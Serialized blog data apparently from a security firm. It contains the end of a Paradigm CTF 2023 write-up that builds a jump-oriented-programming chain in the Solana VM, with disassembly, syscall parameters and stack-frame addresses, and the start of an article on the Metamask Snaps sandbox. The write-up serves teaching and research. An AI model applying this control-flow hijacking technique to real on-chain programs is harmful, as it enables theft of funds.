children":125300},{"style":7054},[125301],{"type":32,"value":124336},{"type":26,"tag":217,"props":125303,"children":125304},{"style":7048},[125305],{"type":32,"value":7599},{"type":26,"tag":217,"props":125307,"children":125308},{"style":7130},[125309],{"type":32,"value":125099},{"type":26,"tag":217,"props":125311,"children":125312},{"class":7028,"line":8154},[125313,125318,125323,125327],{"type":26,"tag":217,"props":125314,"children":125315},{"style":7054},[125316],{"type":32,"value":125317},"100001c60",{"type":26,"tag":217,"props":125319,"children":125320},{"style":7054},[125321],{"type":32,"value":125322},"  85100000fefdffff",{"type":26,"tag":217,"props":125324,"children":125325},{"style":7054},[125326],{"type":32,"value":124485},{"type":26,"tag":217,"props":125328,"children":125329},{"style":7054},[125330],{"type":32,"value":125121},{"type":26,"tag":217,"props":125332,"children":125333},{"class":7028,"line":8162},[125334],{"type":26,"tag":217,"props":125335,"children":125336},{"emptyLinePlaceholder":17},[125337],{"type":32,"value":7817},{"type":26,"tag":217,"props":125339,"children":125340},{"class":7028,"line":8197},[125341,125346,125351,125356,125360,125365],{"type":26,"tag":217,"props":125342,"children":125343},{"style":7054},[125344],{"type":32,"value":125345},"100001c68",{"type":26,"tag":217,"props":125347,"children":125348},{"style":7130},[125349],{"type":32,"value":125350},"  9500000000000000",{"type":26,"tag":217,"props":125352,"children":125353},{"style":7054},[125354],{"type":32,"value":125355},"   exit",{"type":26,"tag":217,"props":125357,"children":125358},{"style":7048},[125359],{"type":32,"value":99972},{"type":26,"tag":217,"props":125361,"children":125362},{"style":7054},[125363],{"type":32,"value":125364},"__return_addr",{"type":26,"tag":217,"props":125366,"children":125367},{"style":7048},[125368],{"type":32,"value":7184},{"type":26,"tag":39,"props":125370,"children":125371},{},[125372,125374,125380],{"type":32,"value":125373},"Which, assuming that ",{"type":26,"tag":83,"props":125375,"children":125377},{"className":125376},[],[125378],{"type":32,"value":125379},"sol_invoke_signed_rust",{"type":32,"value":125381}," returns 0, is doing the following:",{"type":26,"tag":6712,"props":125383,"children":125384},{},[125385,125394,125403],{"type":26,"tag":2044,"props":125386,"children":125387},{},[125388],{"type":26,"tag":83,"props":125389,"children":125391},{"className":125390},[],[125392],{"type":32,"value":125393},"sol_invoke_signed_rust(r1, [r10-136], [r10-128], [r10-152], [r10-144])",{"type":26,"tag":2044,"props":125395,"children":125396},{},[125397],{"type":26,"tag":83,"props":125398,"children":125400},{"className":125399},[],[125401],{"type":32,"value":125402},"*[r10-120] = 0x18",{"type":26,"tag":2044,"props":125404,"children":125405},{},[125406,125408,125414,125416,125423],{"type":32,"value":125407},"Calls ",{"type":26,"tag":83,"props":125409,"children":125411},{"className":125410},[],[125412],{"type":32,"value":125413},"__rust_dealloc",{"type":32,"value":125415},", which in default circumstances is a ",{"type":26,"tag":163,"props":125417,"children":125420},{"href":125418,"rel":125419},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/entrypoint.rs#L257C1-L259",[167],[125421],{"type":32,"value":125422},"NOP",{"type":32,"value":180},{"type":26,"tag":39,"props":125425,"children":125426},{},[125427],{"type":32,"value":125428},"r10 is the stack pointer, so it will point to the stack frame of the current depth when executing that instruction.",{"type":26,"tag":39,"props":125430,"children":125431},{},[125432],{"type":32,"value":125433},"If we correctly set up the stack frame used by this gadget with valid parameters, that's a win.",{"type":26,"tag":39,"props":125435,"children":125436},{},[125437,125438,125445],{"type":32,"value":60986},{"type":26,"tag":163,"props":125439,"children":125442},{"href":125440,"rel":125441},"https://github.com/solana-labs/solana/blob/master/sdk/program/src/syscalls/definitions.rs#L59",[167],[125443],{"type":32,"value":125444},"definition",{"type":32,"value":125446},", it's not crystal clear what the parameters are:",{"type":26,"tag":207,"props":125448,"children":125450},{"className":56140,"code":125449,"language":56139,"meta":8,"style":8},"fn sol_invoke_signed_rust(instruction_addr: *const u8, account_infos_addr: *const u8, account_infos_len: u64, signers_seeds_addr: *const u8, signers_seeds_len: u64) -> u64\n",[125451],{"type":26,"tag":83,"props":125452,"children":125453},{"__ignoreMap":8},[125454],{"type":26,"tag":217,"props":125455,"children":125456},{"class":7028,"line":7029},[125457,125461,125466,125470,125475,125479,125483,125487,125492,125496,125501,125505,125509,125513,125517,125521,125526,125530,125534,125538,125543,125547,125551,125555,125559,125563,125568,125572,125576,125580,125584],{"type":26,"tag":217,"props":125458,"children":125459},{"style":7154},[125460],{"type":32,"value":77603},{"type":26,"tag":217,"props":125462,"children":125463},{"style":7064},[125464],{"type":32,"value":125465}," sol_invoke_signed_rust",{"type":26,"tag":217,"props":125467,"children":125468},{"style":7048},[125469],{"type":32,"value":1851},{"type":26,"tag":217,"props":125471,"children":125472},{"style":7054},[125473],{"type":32,"value":125474},"instruction_addr",{"type":26,"tag":217,"props":125476,"children":125477},{"style":7149},[125478],{"type":32,"value":1473},{"type":26,"tag":217,"props":125480,"children":125481},{"style":7149},[125482],{"type":32,"value":9690},{"type":26,"tag":217,"props":125484,"children":125485},{"style":7154},[125486],{"type":32,"value":74748},{"type":26,"tag":217,"props":125488,"children":125489},{"style":7119},[125490],{"type":32,"value":125491}," u8",{"type":26,"tag":217,"props":125493,"children":125494},{"style":7048},[125495],{"type":32,"value":7599},{"type":26,"tag":217,"props":125497,"children":125498},{"style":7054},[125499],{"type":32,"value":125500},"account_infos_addr",{"type":26,"tag":217,"props":125502,"children":125503},{"style":7149},[125504],{"type":32,"value":1473},{"type":26,"tag":217,"props":125506,"children":125507},{"style":7149},[125508],{"type":32,"value":9690},{"type":26,"tag":217,"props":125510,"children":125511},{"style":7154},[125512],{"type":32,"value":74748},{"type":26,"tag":217,"props":125514,"children":125515},{"style":7119},[125516],{"type":32,"value":125491},{"type":26,"tag":217,"props":125518,"children":125519},{"style":7048},[125520],{"type":32,"value":7599},{"type":26,"tag":217,"props":125522,"children":125523},{"style":7054},[125524],{"type":32,"value":125525},"account_infos_len",{"type":26,"tag":217,"props":125527,"children":125528},{"style":7149},[125529],{"type":32,"value":1473},{"type":26,"tag":217,"props":125531,"children":125532},{"style":7119},[125533],{"type":32,"value":91146},{"type":26,"tag":217,"props":125535,"children":125536},{"style":7048},[125537],{"type":32,"value":7599},{"type":26,"tag":217,"props":125539,"children":125540},{"style":7054},[125541],{"type":32,"value":125542},"signers_seeds_addr",{"type":26,"tag":217,"props":125544,"children":125545},{"style":7149},[125546],{"type":32,"value":1473},{"type":26,"tag":217,"props":125548,"children":125549},{"style":7149},[125550],{"type":32,"value":9690},{"type":26,"tag":217,"props":125552,"children":125553},{"style":7154},[125554],{"type":32,"value":74748},{"type":26,"tag":217,"props":125556,"children":125557},{"style":7119},[125558],{"type":32,"value":125491},{"type":26,"tag":217,"props":125560,"children":125561},{"style":7048},[125562],{"type":32,"value":7599},{"type":26,"tag":217,"props":125564,"children":125565},{"style":7054},[125566],{"type":32,"value":125567},"signers_seeds_len",{"type":26,"tag":217,"props":125569,"children":125570},{"style":7149},[125571],{"type":32,"value":1473},{"type":26,"tag":217,"props":125573,"children":125574},{"style":7119},[125575],{"type":32,"value":91146},{"type":26,"tag":217,"props":125577,"children":125578},{"style":7048},[125579],{"type":32,"value":8380},{"type":26,"tag":217,"props":125581,"children":125582},{"style":7149},[125583],{"type":32,"value":10115},{"type":26,"tag":217,"props":125585,"children":125586},{"style":7119},[125587],{"type":32,"value":97273},{"type":26,"tag":39,"props":125589,"children":125590},{},[125591,125593,125598,125600,125607],{"type":32,"value":125592},"The source of ",{"type":26,"tag":163,"props":125594,"children":125596},{"href":125595},"(https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L289)",[125597],{"type":32,"value":124218},{"type":32,"value":125599}," helps a lot, but looking at the actual ",{"type":26,"tag":163,"props":125601,"children":125604},{"href":125602,"rel":125603},"https://github.com/solana-labs/solana/blob/v1.17.4/programs/bpf_loader/src/syscalls/cpi.rs#L458-L637",[167],[125605],{"type":32,"value":125606},"implementation",{"type":32,"value":125608}," provides more clarity:",{"type":26,"tag":2040,"props":125610,"children":125611},{},[125612],{"type":26,"tag":2044,"props":125613,"children":125614},{},[125615,125620,125622,125629],{"type":26,"tag":83,"props":125616,"children":125618},{"className":125617},[],[125619],{"type":32,"value":125474},{"type":32,"value":125621}," points to a ",{"type":26,"tag":163,"props":125623,"children":125626},{"href":125624,"rel":125625},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/stable_layout/stable_instruction.rs#L33",[167],[125627],{"type":32,"value":125628},"StableInstruction",{"type":32,"value":1473},{"type":26,"tag":39,"props":125631,"children":125632},{},[125633],{"type":26,"tag":6468,"props":125634,"children":125636},{"alt":125628,"src":125635},"/posts/jumping-around-in-the-vm/stable_ix.svg",[],{"type":26,"tag":2040,"props":125638,"children":125639},{},[125640,125665],{"type":26,"tag":2044,"props":125641,"children":125642},{},[125643,125648,125650,125655,125657,125664],{"type":26,"tag":83,"props":125644,"children":125646},{"className":125645},[],[125647],{"type":32,"value":125500},{"type":32,"value":125649}," points to a slice of ",{"type":26,"tag":83,"props":125651,"children":125653},{"className":125652},[],[125654],{"type":32,"value":125525},{"type":32,"value":125656},"  ",{"type":26,"tag":163,"props":125658,"children":125661},{"href":125659,"rel":125660},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/account_info.rs#L19-L36",[167],[125662],{"type":32,"value":125663},"AccountInfos",{"type":32,"value":180},{"type":26,"tag":2044,"props":125666,"children":125667},{},[125668,125673,125675,125680,125682,125687],{"type":26,"tag":83,"props":125669,"children":125671},{"className":125670},[],[125672],{"type":32,"value":125542},{"type":32,"value":125674}," is a bit trickier, it points to a slice of length ",{"type":26,"tag":83,"props":125676,"children":125678},{"className":125677},[],[125679],{"type":32,"value":125567},{"type":32,"value":125681},", containing slices of ",{"type":26,"tag":83,"props":125683,"children":125685},{"className":125684},[],[125686],{"type":32,"value":36887},{"type":32,"value":180},{"type":26,"tag":39,"props":125689,"children":125690},{},[125691],{"type":26,"tag":6468,"props":125692,"children":125695},{"alt":125693,"src":125694},"signers.drawio","/posts/jumping-around-in-the-vm/signers.svg",[],{"type":26,"tag":39,"props":125697,"children":125698},{},[125699,125701,125706],{"type":32,"value":125700},"Where do we store those fake parameters? We can store them directly inside the input data, and just write the pointers to them on the stack through the write gadget. Note that these writes are to ",{"type":26,"tag":65,"props":125702,"children":125703},{},[125704],{"type":32,"value":125705},"future call frames",{"type":32,"value":180},{"type":26,"tag":39,"props":125708,"children":125709},{},[125710,125712,125719],{"type":32,"value":125711},"Now that we have all the parts, all we need is to string it together. The full ",{"type":26,"tag":163,"props":125713,"children":125716},{"href":125714,"rel":125715},"https://github.com/chen-robert/paradigmctf-2023/blob/main/jotterp/framework-solve/src/main.rs",[167],[125717],{"type":32,"value":125718},"reference solution can be found here",{"type":32,"value":180},{"type":26,"tag":39,"props":125721,"children":125722},{},[125723],{"type":32,"value":125724},"Here's a visualization of the final JOP chain.",{"type":26,"tag":207,"props":125726,"children":125728},{"className":124100,"code":125727,"language":124102,"meta":8,"style":8},"graph BT\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n    C --> E[3: process]\n    E --> F[4: Write account_infos.len to target_r10 - 128]\n    E --> G[4: process]\n    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n    G --> I[5: process]\n    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n    I --> K[6: process]\n    K --> M[7: Write HeapBase to target_r10 - 120]\n    K --> N[7: process]\n    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n    N --> O[8: Write 0x4337 to the account]\n",[125729],{"type":26,"tag":83,"props":125730,"children":125731},{"__ignoreMap":8},[125732,125740,125747,125754,125762,125769,125777,125785,125793,125801,125809,125817,125825,125833,125841],{"type":26,"tag":217,"props":125733,"children":125734},{"class":7028,"line":7029},[125735],{"type":26,"tag":217,"props":125736,"children":125737},{},[125738],{"type":32,"value":125739},"graph BT\n",{"type":26,"tag":217,"props":125741,"children":125742},{"class":7028,"line":6770},[125743],{"type":26,"tag":217,"props":125744,"children":125745},{},[125746],{"type":32,"value":124122},{"type":26,"tag":217,"props":125748,"children":125749},{"class":7028,"line":6779},[125750],{"type":26,"tag":217,"props":125751,"children":125752},{},[125753],{"type":32,"value":124130},{"type":26,"tag":217,"props":125755,"children":125756},{"class":7028,"line":7140},[125757],{"type":26,"tag":217,"props":125758,"children":125759},{},[125760],{"type":32,"value":125761},"    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n",{"type":26,"tag":217,"props":125763,"children":125764},{"class":7028,"line":7165},[125765],{"type":26,"tag":217,"props":125766,"children":125767},{},[125768],{"type":32,"value":124146},{"type":26,"tag":217,"props":125770,"children":125771},{"class":7028,"line":7178},[125772],{"type":26,"tag":217,"props":125773,"children":125774},{},[125775],{"type":32,"value":125776},"    E --> F[4: Write account_infos.len to target_r10 - 128]\n",{"type":26,"tag":217,"props":125778,"children":125779},{"class":7028,"line":7389},[125780],{"type":26,"tag":217,"props":125781,"children":125782},{},[125783],{"type":32,"value":125784},"    E --> G[4: process]\n",{"type":26,"tag":217,"props":125786,"children":125787},{"class":7028,"line":7406},[125788],{"type":26,"tag":217,"props":125789,"children":125790},{},[125791],{"type":32,"value":125792},"    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n",{"type":26,"tag":217,"props":125794,"children":125795},{"class":7028,"line":7439},[125796],{"type":26,"tag":217,"props":125797,"children":125798},{},[125799],{"type":32,"value":125800},"    G --> I[5: process]\n",{"type":26,"tag":217,"props":125802,"children":125803},{"class":7028,"line":7487},[125804],{"type":26,"tag":217,"props":125805,"children":125806},{},[125807],{"type":32,"value":125808},"    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n",{"type":26,"tag":217,"props":125810,"children":125811},{"class":7028,"line":7524},[125812],{"type":26,"tag":217,"props":125813,"children":125814},{},[125815],{"type":32,"value":125816},"    I --> K[6: process]\n",{"type":26,"tag":217,"props":125818,"children":125819},{"class":7028,"line":7553},[125820],{"type":26,"tag":217,"props":125821,"children":125822},{},[125823],{"type":32,"value":125824},"    K --> M[7: Write HeapBase to target_r10 - 120]\n",{"type":26,"tag":217,"props":125826,"children":125827},{"class":7028,"line":7570},[125828],{"type":26,"tag":217,"props":125829,"children":125830},{},[125831],{"type":32,"value":125832},"    K --> N[7: process]\n",{"type":26,"tag":217,"props":125834,"children":125835},{"class":7028,"line":7621},[125836],{"type":26,"tag":217,"props":125837,"children":125838},{},[125839],{"type":32,"value":125840},"    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n",{"type":26,"tag":217,"props":125842,"children":125843},{"class":7028,"line":7672},[125844],{"type":26,"tag":217,"props":125845,"children":125846},{},[125847],{"type":32,"value":125848},"    N --> O[8: Write 0x4337 to the account]\n",{"type":26,"tag":39,"props":125850,"children":125851},{},[125852,125854,125860],{"type":32,"value":125853},"Small note: ",{"type":26,"tag":83,"props":125855,"children":125857},{"className":125856},[],[125858],{"type":32,"value":125859},"target_r10",{"type":32,"value":125861}," is the address of the call frame when the CPI gadget is invoked, which, as shown in the graph, is the 8th frame. Its address can be calculated as follows:",{"type":26,"tag":207,"props":125863,"children":125865},{"className":56140,"code":125864,"language":56139,"meta":8,"style":8},"fn call_frame_addr(depth: u64) -> u64 {\n    0x200000000 + 0x2000 * depth + 0x1000\n}\n// call_frame_addr(8) = 0x200011000\n",[125866],{"type":26,"tag":83,"props":125867,"children":125868},{"__ignoreMap":8},[125869,125914,125949,125956],{"type":26,"tag":217,"props":125870,"children":125871},{"class":7028,"line":7029},[125872,125876,125881,125885,125890,125894,125898,125902,125906,125910],{"type":26,"tag":217,"props":125873,"children":125874},{"style":7154},[125875],{"type":32,"value":77603},{"type":26,"tag":217,"props":125877,"children":125878},{"style":7064},[125879],{"type":32,"value":125880}," call_frame_addr",{"type":26,"tag":217,"props":125882,"children":125883},{"style":7048},[125884],{"type":32,"value":1851},{"type":26,"tag":217,"props":125886,"children":125887},{"style":7054},[125888],{"type":32,"value":125889},"depth",{"type":26,"tag":217,"props":125891,"children":125892},{"style":7149},[125893],{"type":32,"value":1473},{"type":26,"tag":217,"props":125895,"children":125896},{"style":7119},[125897],{"type":32,"value":91146},{"type":26,"tag":217,"props":125899,"children":125900},{"style":7048},[125901],{"type":32,"value":8380},{"type":26,"tag":217,"props":125903,"children":125904},{"style":7149},[125905],{"type":32,"value":10115},{"type":26,"tag":217,"props":125907,"children":125908},{"style":7119},[125909],{"type":32,"value":91146},{"type":26,"tag":217,"props":125911,"children":125912},{"style":7048},[125913],{"type":32,"value":8064},{"type":26,"tag":217,"props":125915,"children":125916},{"class":7028,"line":6770},[125917,125922,125926,125931,125935,125940,125944],{"type":26,"tag":217,"props":125918,"children":125919},{"style":7130},[125920],{"type":32,"value":125921},"    0x200000000",{"type":26,"tag":217,"props":125923,"children":125924},{"style":7149},[125925],{"type":32,"value":9025},{"type":26,"tag":217,"props":125927,"children":125928},{"style":7130},[125929],{"type":32,"value":125930}," 0x2000",{"type":26,"tag":217,"props":125932,"children":125933},{"style":7149},[125934],{"type":32,"value":9690},{"type":26,"tag":217,"props":125936,"children":125937},{"style":7054},[125938],{"type":32,"value":125939}," depth",{"type":26,"tag":217,"props":125941,"children":125942},{"style":7149},[125943],{"type":32,"value":9025},{"type":26,"tag":217,"props":125945,"children":125946},{"style":7130},[125947],{"type":32,"value":125948}," 0x1000\n",{"type":26,"tag":217,"props":125950,"children":125951},{"class":7028,"line":6779},[125952],{"type":26,"tag":217,"props":125953,"children":125954},{"style":7048},[125955],{"type":32,"value":7184},{"type":26,"tag":217,"props":125957,"children":125958},{"class":7028,"line":7140},[125959],{"type":26,"tag":217,"props":125960,"children":125961},{"style":7033},[125962],{"type":32,"value":125963},"// call_frame_addr(8) = 0x200011000\n",{"type":26,"tag":27,"props":125965,"children":125966},{"id":9272},[125967],{"type":32,"value":9275},{"type":26,"tag":39,"props":125969,"children":125970},{},[125971,125973,125980],{"type":32,"value":125972},"Most blockchain vulnerabilities are high-level business logic bugs. While low-level Solana bugs are rare, ",{"type":26,"tag":163,"props":125974,"children":125977},{"href":125975,"rel":125976},"https://osec.io/blog/2022-12-09-rust-realloc-and-references",[167],[125978],{"type":32,"value":125979},"they do exist",{"type":32,"value":180},{"type":26,"tag":39,"props":125982,"children":125983},{},[125984],{"type":32,"value":125985},"In this blog post, we provided an exploration of the exploitation side of security. There's a surprising amount of work necessary to go from powerful memory corruption primitives to full control of the program.",{"type":26,"tag":39,"props":125987,"children":125988},{},[125989,125991,125996],{"type":32,"value":125990},"Security requires a top-to-bottom understanding of the execution environment. We hope this challenge and blog post motivate others to understand the ",{"type":26,"tag":65,"props":125992,"children":125993},{},[125994],{"type":32,"value":125995},"entire",{"type":32,"value":125997}," runtime.",{"type":26,"tag":9282,"props":125999,"children":126000},{},[126001],{"type":32,"value":9286},{"title":8,"searchDepth":6770,"depth":6770,"links":126003},[126004,126008,126009,126012],{"id":115972,"depth":6770,"text":115975,"children":126005},[126006,126007],{"id":120694,"depth":6779,"text":120697},{"id":122018,"depth":6779,"text":122021},{"id":123251,"depth":6770,"text":123254},{"id":124082,"depth":6770,"text":124085,"children":126010},[126011],{"id":124196,"depth":6779,"text":124199},{"id":9272,"depth":6770,"text":9275},"content:blog:2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm",{"_path":126017,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":126018,"description":126019,"author":126020,"image":126021,"date":126024,"isFeatured":17,"onBlogPage":17,"body":126025,"_type":6799,"_id":130993,"_source":6801,"_file":130994,"_stem":130995,"_extension":6804},"/blog/2023-11-01-metamask-snaps","Metamask Snaps: Playing in the Sand","A deep dig into Metamask Snaps. We explore safety considerations, environment design, and break down a property spoofing vulnerability in the Snaps sandboxing layer.",[6811,6812],{"src":126022,"height":126023,"width":6817},"/posts/metamask-snaps/header.png",512,"2023-11-01",{"type":23,"children":126026,"toc":130974},[126027,126031,126036,126041,126046,126052,126057,126063,126076,126081,126086,126093,126125,126131,126136,126154,126161,126167,126181,126187,126207,126466,126494,126500,126519,126896,126915,126928,127245,127266,127536,127541,127547,127552,127564,127569,127582,127834,127876,127889,127895,127909,127915,127920,127933,127968,127974,127993,128102,128127,128133,128151,128164,128170,128175,128193,128305,128310,128330,128343,128360,128459,128485,128502,128622,128648,128660,128665,128671,128677,128682,128705,128710,128715,128721,128727,128754,129153,129180,129207,129213,129244,129554,129573,129578,129603,129616,129622,129649,129938,129974,129992,129997,130032,130037,130043,130048,130055,130059,130086,130864,130884,130888,130909,130956,130960,130965,130970],{"type":26,"tag":27,"props":126028,"children":126029},{"id":115972},[126030],{"type":32,"value":115975},{"type":26,"tag":39,"props":126032,"children":126033},{},[126034],{"type":32,"value":126035},"Metamask snaps are simple modules that extend Metamask's functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn't.",{"type":26,"tag":39,"props":126037,"children":126038},{},[126039],{"type":32,"value":126040},"Metamask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.",{"type":26,"tag":39,"props":126042,"children":126043},{},[126044],{"type":32,"value":126045},"In this article, we'll explore exactly how the snap execution environment works. We'll then delve into a unique property spoofing vulnerability we reported in the Metamask Snaps sandbox.",{"type":26,"tag":27,"props":126047,"children":126049},{"id":126048},"sandbox-security",[126050],{"type":32,"value":126051},"Sandbox Security",{"type":26,"tag":39,"props":126053,"children":126054},{},[126055],{"type":32,"value":126056},"In the first part of the article, we'll describe how the Metamask sandbox works, and examine what it's doing to protect the security of Snaps.",{"type":26,"tag":607,"props":126058,"children":126060},{"id":126059},"permission-based-security",[126061],{"type":32,"value":126062},"Permission-based security",{"type":26,"tag":39,"props":126064,"children":126065},{},[126066,126068,126074],{"type":32,"value":126067},"Each snap is built to have only the permissions it needs to hold. These permissions are specified in the ",{"type":26,"tag":83,"props":126069,"children":126071},{"className":126070},[],[126072],{"type":32,"value":126073},"snap.manifest.json",{"type":32,"value":126075}," file and can be critical to security.",{"type":26,"tag":39,"props":126077,"children":126078},{},[126079],{"type":32,"value":126080},"Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. Metamask warns about the risk of each permission.",{"type":26,"tag":39,"props":126082,"children":126083},{},[126084],{"type":32,"value":126085},"Here are the critical permissions possible to be given to a snap:",{"type":26,"tag":39,"props":126087,"children":126088},{},[126089],{"type":26,"tag":6468,"props":126090,"children":126092},{"alt":8,"src":126091},"/posts/metamask-snaps/permissions.png",[],{"type":26,"tag":2040,"props":126094,"children":126095},{},[126096,126114],{"type":26,"tag":2044,"props":126097,"children":126098},{},[126099,126105,126106,126112],{"type":26,"tag":83,"props":126100,"children":126102},{"className":126101},[],[126103],{"type":32,"value":126104},"snap_getBip44Entropy",{"type":32,"value":1308},{"type":26,"tag":83,"props":126107,"children":126109},{"className":126108},[],[126110],{"type":32,"value":126111},"snap_getBip32Entropy",{"type":32,"value":126113}," -> a malicious snap retrieving keypair leads to loss of funds",{"type":26,"tag":2044,"props":126115,"children":126116},{},[126117,126123],{"type":26,"tag":83,"props":126118,"children":126120},{"className":126119},[],[126121],{"type":32,"value":126122},"endowment:transaction-insight",{"type":32,"value":126124}," -> a malicious snap getting insights of a transaction before approval can lead to frontrunning attacks",{"type":26,"tag":607,"props":126126,"children":126128},{"id":126127},"snap-execution-environment",[126129],{"type":32,"value":126130},"Snap execution environment",{"type":26,"tag":39,"props":126132,"children":126133},{},[126134],{"type":32,"value":126135},"Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, Metamask uses 3 layers of security to create this safe environment:",{"type":26,"tag":6712,"props":126137,"children":126138},{},[126139,126144,126149],{"type":26,"tag":2044,"props":126140,"children":126141},{},[126142],{"type":32,"value":126143},"An isolated iframe",{"type":26,"tag":2044,"props":126145,"children":126146},{},[126147],{"type":32,"value":126148},"LavaMoat",{"type":26,"tag":2044,"props":126150,"children":126151},{},[126152],{"type":32,"value":126153},"SES (Secure EcmaScript)",{"type":26,"tag":39,"props":126155,"children":126156},{},[126157],{"type":26,"tag":6468,"props":126158,"children":126160},{"alt":8,"src":126159},"/posts/metamask-snaps/environment.png",[],{"type":26,"tag":607,"props":126162,"children":126164},{"id":126163},"isolated-iframe-layer-1",[126165],{"type":32,"value":126166},"Isolated Iframe - Layer 1",{"type":26,"tag":39,"props":126168,"children":126169},{},[126170,126172,126179],{"type":32,"value":126171},"Snaps empower developers to enhance Metamask's functionality while maintaining a strong security posture. These modules execute within an ",{"type":26,"tag":163,"props":126173,"children":126176},{"href":126174,"rel":126175},"https://blog.logrocket.com/the-ultimate-guide-to-iframes/",[167],[126177],{"type":32,"value":126178},"Iframe",{"type":32,"value":126180}," environment, ensuring they are isolated and secure. To facilitate this execution, Metamask takes advantage of an iFrame sandboxing mechanism, allowing snaps to operate in a contained context.",{"type":26,"tag":631,"props":126182,"children":126184},{"id":126183},"the-framework-metamask-extension-repo",[126185],{"type":32,"value":126186},"The Framework: Metamask-Extension Repo",{"type":26,"tag":39,"props":126188,"children":126189},{},[126190,126192,126198,126200,126206],{"type":32,"value":126191},"The process of snap execution kicks off within the metamask-extension repository's ",{"type":26,"tag":83,"props":126193,"children":126195},{"className":126194},[],[126196],{"type":32,"value":126197},"metamask-controller.js",{"type":32,"value":126199}," file. Here's a glimpse of the relevant ",{"type":26,"tag":163,"props":126201,"children":126204},{"href":126202,"rel":126203},"https://github.com/MetaMask/metamask-extension/blob/4b23ea8c95bea9ea12336537bb6bda4568a99098/app/scripts/metamask-controller.js#L978",[167],[126205],{"type":32,"value":83},{"type":32,"value":1473},{"type":26,"tag":207,"props":126208,"children":126210},{"className":12398,"code":126209,"language":12397,"meta":8,"style":8},"// Import snaps-controllers\n// ...\nconst snapExecutionServiceArgs = {\n  iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),\n  messenger: this.controllerMessenger.getRestricted({\n    name: 'ExecutionService',\n  }),\n  setupSnapProvider: this.setupSnapProvider.bind(this),\n};\n\n// Define IFRAME_EXECUTION_ENVIRONMENT_URL\nprocess.env.IFRAME_EXECUTION_ENVIRONMENT_URL =\n  'https://execution.metamask.io/0.36.1-flask.1/index.html';\n// ...\n",[126211],{"type":26,"tag":83,"props":126212,"children":126213},{"__ignoreMap":8},[126214,126222,126230,126250,126296,126331,126348,126356,126398,126405,126412,126420,126447,126459],{"type":26,"tag":217,"props":126215,"children":126216},{"class":7028,"line":7029},[126217],{"type":26,"tag":217,"props":126218,"children":126219},{"style":7033},[126220],{"type":32,"value":126221},"// Import snaps-controllers\n",{"type":26,"tag":217,"props":126223,"children":126224},{"class":7028,"line":6770},[126225],{"type":26,"tag":217,"props":126226,"children":126227},{"style":7033},[126228],{"type":32,"value":126229},"// ...\n",{"type":26,"tag":217,"props":126231,"children":126232},{"class":7028,"line":6779},[126233,126237,126242,126246],{"type":26,"tag":217,"props":126234,"children":126235},{"style":7154},[126236],{"type":32,"value":74748},{"type":26,"tag":217,"props":126238,"children":126239},{"style":7054},[126240],{"type":32,"value":126241}," snapExecutionServiceArgs",{"type":26,"tag":217,"props":126243,"children":126244},{"style":7149},[126245],{"type":32,"value":8993},{"type":26,"tag":217,"props":126247,"children":126248},{"style":7048},[126249],{"type":32,"value":8064},{"type":26,"tag":217,"props":126251,"children":126252},{"class":7028,"line":7140},[126253,126258,126262,126267,126271,126275,126279,126283,126287,126292],{"type":26,"tag":217,"props":126254,"children":126255},{"style":7054},[126256],{"type":32,"value":126257},"  iframeUrl:",{"type":26,"tag":217,"props":126259,"children":126260},{"style":7154},[126261],{"type":32,"value":25931},{"type":26,"tag":217,"props":126263,"children":126264},{"style":7064},[126265],{"type":32,"value":126266}," URL",{"type":26,"tag":217,"props":126268,"children":126269},{"style":7048},[126270],{"type":32,"value":1851},{"type":26,"tag":217,"props":126272,"children":126273},{"style":7054},[126274],{"type":32,"value":123265},{"type":26,"tag":217,"props":126276,"children":126277},{"style":7048},[126278],{"type":32,"value":180},{"type":26,"tag":217,"props":126280,"children":126281},{"style":7054},[126282],{"type":32,"value":78042},{"type":26,"tag":217,"props":126284,"children":126285},{"style":7048},[126286],{"type":32,"value":180},{"type":26,"tag":217,"props":126288,"children":126289},{"style":7054},[126290],{"type":32,"value":126291},"IFRAME_EXECUTION_ENVIRONMENT_URL",{"type":26,"tag":217,"props":126293,"children":126294},{"style":7048},[126295],{"type":32,"value":13841},{"type":26,"tag":217,"props":126297,"children":126298},{"class":7028,"line":7165},[126299,126304,126309,126313,126318,126322,126327],{"type":26,"tag":217,"props":126300,"children":126301},{"style":7054},[126302],{"type":32,"value":126303},"  messenger:",{"type":26,"tag":217,"props":126305,"children":126306},{"style":7154},[126307],{"type":32,"value":126308}," this",{"type":26,"tag":217,"props":126310,"children":126311},{"style":7048},[126312],{"type":32,"value":180},{"type":26,"tag":217,"props":126314,"children":126315},{"style":7054},[126316],{"type":32,"value":126317},"controllerMessenger",{"type":26,"tag":217,"props":126319,"children":126320},{"style":7048},[126321],{"type":32,"value":180},{"type":26,"tag":217,"props":126323,"children":126324},{"style":7064},[126325],{"type":32,"value":126326},"getRestricted",{"type":26,"tag":217,"props":126328,"children":126329},{"style":7048},[126330],{"type":32,"value":13500},{"type":26,"tag":217,"props":126332,"children":126333},{"class":7028,"line":7178},[126334,126339,126344],{"type":26,"tag":217,"props":126335,"children":126336},{"style":7054},[126337],{"type":32,"value":126338},"    name:",{"type":26,"tag":217,"props":126340,"children":126341},{"style":7338},[126342],{"type":32,"value":126343}," 